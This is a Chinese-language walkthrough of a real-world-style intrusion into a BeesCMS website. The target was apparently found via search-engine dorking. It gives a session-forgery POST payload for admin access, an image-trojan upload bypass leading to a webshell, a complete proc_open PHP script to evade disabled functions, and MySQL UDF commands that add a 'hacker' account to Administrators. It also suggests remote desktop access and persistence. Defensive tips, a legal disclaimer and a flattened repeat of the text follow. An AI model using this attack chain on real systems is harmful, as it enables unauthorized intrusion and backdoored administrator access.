【实战1】记一次提至Administrator权限实战
字数 1121 2025-08-26 22:11:22

提权至Administrator权限实战教学文档

0x01 漏洞背景与发现

本次实战针对的是BeesCMS系统,通过Google Hacking语法发现目标站点。BeesCMS存在会话伪造漏洞,可直接进入后台管理系统。

0x02 进入后台

  1. 漏洞利用点/mx_form/mx_form.php?id=12页面存在会话伪造漏洞
  2. 利用方法
    • 使用Hackbar POST以下数据:
      _SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=100000000000000000000000000000000000
      
    • 然后直接访问/admin即可进入后台

0x03 获取Webshell

  1. 寻找上传点:在后台"添加产品模块"处找到文件上传功能
  2. 绕过上传限制
    • 直接上传PHP文件会被拦截,提示"上传图片格式不正确"
    • 上传图片马(图片中包含恶意代码)
    • 使用Burp Suite拦截上传请求,在Repeater中修改文件后缀为.php
  3. 确认上传成功
    • 在"上传图片管理"处查找上传的文件
    • 访问该文件确认是否解析成功
    • 使用中国菜刀等Webshell管理工具连接

0x04 绕过安全模式限制

  1. 问题发现:执行系统命令失败,可能启用了PHP安全模式
  2. 解决方案
    • 上传phpinfo脚本查看禁用函数列表
    • 发现proc_open函数未被禁用
  3. 利用proc_open执行命令
    <?php
    $descriptorspec = array(
        0 => array('pipe', 'r'), // STDIN
        1 => array('pipe', 'w'), // STDOUT
        2 => array('pipe', 'w')  // STDERR
    );
    
    $handle = proc_open('whoami', $descriptorspec, $pipes, NULL);
    
    if(!is_resource($handle)){
        die('proc_open failed');
    }
    
    print('stdout:<br/>');
    while($s = fgets($pipes[1])){
        print_r($s);
    }
    
    print('<br/>stderr:<br/>');
    while($s = fgets($pipes[2])){
        print_r($s);
    }
    
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($handle);
    ?>
    
    • 上传此脚本可绕过安全模式执行系统命令

0x05 提权至Administrator

  1. 当前权限:IIS用户权限,操作受限
  2. 寻找数据库配置
    • 通过Webshell查看文件系统
    • 找到数据库配置文件(通常包含数据库连接信息)
  3. MySQL UDF提权
    • 确认目标使用MySQL数据库
    • 上传UDF提权脚本(如Moonudf.php)
    • 通过MySQL导出UDF函数:
      CREATE FUNCTION sys_exec RETURNS string SONAME 'udf.dll';
      
    • 执行系统命令:
      SELECT sys_exec('net user hacker Password123 /add');
      SELECT sys_exec('net localgroup administrators hacker /add');
      
  4. 提权结果验证
    • 执行whoami确认当前用户
    • 尝试创建新用户或开启远程桌面服务

0x06 限制与问题

  1. 可能遇到的限制
    • 无法添加用户
    • 无法开启3389远程桌面端口
    • MySQL权限不足无法导出UDF
  2. 替代方案
    • 尝试其他提权方法(如Windows本地提权漏洞)
    • 使用注册表操作开启远程桌面
    • 使用端口转发建立持久化连接

0x07 防御建议

  1. 针对CMS
    • 及时更新CMS版本
    • 修复会话伪造漏洞
    • 限制后台文件上传功能
  2. 针对服务器
    • 禁用危险PHP函数(如proc_open, system等)
    • 配置PHP安全模式
    • MySQL使用最小权限原则
    • 限制UDF函数创建

参考资源

  1. PHP限制命令执行绕过方法
  2. UDF提权脚本:Moonudf.php
  3. 会话伪造漏洞修复方案

本教学文档详细记录了从发现漏洞到最终提权的完整过程,重点介绍了绕过安全限制和提权的关键技术点。实际渗透测试中请确保获得合法授权,并遵守相关法律法规。

提权至Administrator权限实战教学文档 0x01 漏洞背景与发现 本次实战针对的是BeesCMS系统,通过Google Hacking语法发现目标站点。BeesCMS存在会话伪造漏洞,可直接进入后台管理系统。 0x02 进入后台 漏洞利用点 : /mx_form/mx_form.php?id=12 页面存在会话伪造漏洞 利用方法 : 使用Hackbar POST以下数据: 然后直接访问 /admin 即可进入后台 0x03 获取Webshell 寻找上传点 :在后台"添加产品模块"处找到文件上传功能 绕过上传限制 : 直接上传PHP文件会被拦截,提示"上传图片格式不正确" 上传图片马(图片中包含恶意代码) 使用Burp Suite拦截上传请求,在Repeater中修改文件后缀为.php 确认上传成功 : 在"上传图片管理"处查找上传的文件 访问该文件确认是否解析成功 使用中国菜刀等Webshell管理工具连接 0x04 绕过安全模式限制 问题发现 :执行系统命令失败,可能启用了PHP安全模式 解决方案 : 上传phpinfo脚本查看禁用函数列表 发现 proc_open 函数未被禁用 利用proc_ open执行命令 : 上传此脚本可绕过安全模式执行系统命令 0x05 提权至Administrator 当前权限 :IIS用户权限,操作受限 寻找数据库配置 : 通过Webshell查看文件系统 找到数据库配置文件(通常包含数据库连接信息) MySQL UDF提权 : 确认目标使用MySQL数据库 上传UDF提权脚本(如Moonudf.php) 通过MySQL导出UDF函数: 执行系统命令: 提权结果验证 : 执行 whoami 确认当前用户 尝试创建新用户或开启远程桌面服务 0x06 限制与问题 可能遇到的限制 : 无法添加用户 无法开启3389远程桌面端口 MySQL权限不足无法导出UDF 替代方案 : 尝试其他提权方法(如Windows本地提权漏洞) 使用注册表操作开启远程桌面 使用端口转发建立持久化连接 0x07 防御建议 针对CMS : 及时更新CMS版本 修复会话伪造漏洞 限制后台文件上传功能 针对服务器 : 禁用危险PHP函数(如proc_ open, system等) 配置PHP安全模式 MySQL使用最小权限原则 限制UDF函数创建 参考资源 PHP限制命令执行绕过方法 UDF提权脚本:Moonudf.php 会话伪造漏洞修复方案 本教学文档详细记录了从发现漏洞到最终提权的完整过程,重点介绍了绕过安全限制和提权的关键技术点。实际渗透测试中请确保获得合法授权,并遵守相关法律法规。